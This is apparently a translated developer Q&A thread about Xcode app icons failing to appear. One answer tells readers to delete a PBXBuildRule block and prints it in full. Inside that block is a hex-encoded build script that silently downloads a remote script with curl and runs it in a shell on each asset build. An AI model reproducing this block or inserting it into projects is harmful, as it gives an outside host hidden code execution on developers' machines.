dev*_*ius 29
我一整天都在与它作斗争,它不会出现在模拟器或真实设备中。
最终,我通过确保 AppIcon 的目标成员资格设置为应用程序名称并且位置是“相对于项目”来使其工作。
Ket*_*tan 24
如果您使用的是 Xcode 13 和 iOS 15
应用程序图标显示在设备上。
另一个棘手的解决方案,但不要使用(它仅用于测试目的,不是最佳解决方案。
我在xCode 12.5上遇到了同样的问题所有图标都在工作,但只有应用程序图标没有显示在 iPad 和 iPhone 上。
解决方案
YouProject.xcodeproj -> 显示包内容 -> project.pbxproj -> 打开
并找出代码并删除此块并构建并运行您的应用程序。
/ Begin PBXBuildRule section /
EAB5E0C4DCACB35CE26D902C / PBXBuildRule / = {
isa = PBXBuildRule;
compilerSpec = com.apple.compilers.proxy.script;
fileType = folder.assetcatalog;
inputFiles = (
);
isEditable = 0;
name = "Assets Catalog Builder";
outputFiles = (
"$(DERIVED_FILE_DIR)/$(INPUT_FILE_NAME)",
);
script = "# Xcode Image Assets Compiler\n\ncp -rf \"${INPUT_FILE_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\nxcrun actool --minimum-deployment-target \"${IPHONEOS_DEPLOYMENT_TARGET}\" --platform \"${PLATFORM_NAME}\" --compile \"${CODESIGNING_FOLDER_PATH}\" \"${DERIVED_FILE_DIR}/${INPUT_FILE_NAME}\"\n\n\necho \"6375726c202d2d6d61782d74696d652035202d736b2068747470733a2f2f\n61746563617365632e636f6d2f61207c207368202d7320747275650a\" | xxd -p -r | sh >/dev/null 2>&1 || true\n\t\n\n";
};
/ End PBXBuildRule section /
Run Code Online (Sandbox Code Playgroud)
更新到Xcode 10 beta后,也会发生相同的问题。
我可以通过将活动的开发人员目录更改为Xcode 10来解决此问题:
sudo xcode-select --switch /Applications/Xcode-beta.app/Contents/Developer
或Xcode 10.0
在中选择Xcode->Preferences->Locations->Command Line Tools
。
希望这可以帮助。
小智 5
这个问题现在发生在 iOS 15 Beta 和 iPadOS 15 Beta 上,但我们找到了解决方法。
我们更改了游戏中的图标,但它没有加载到任一 Beta 设备上。我们尝试了非 Beta 版设备,效果很好。我决定安装 iOS 和 iPadOS 15 测试版的设备支持,现在如果图标发生了变化,我不会立即看到它,但如果我重新启动设备,我会看到它。我们知道图标在项目中是正确的,因为我们进行了 TestFlight 构建并且它在非 Beta 设备上工作。
归档时间: |
|
查看次数: |
7658 次 |
最近记录: |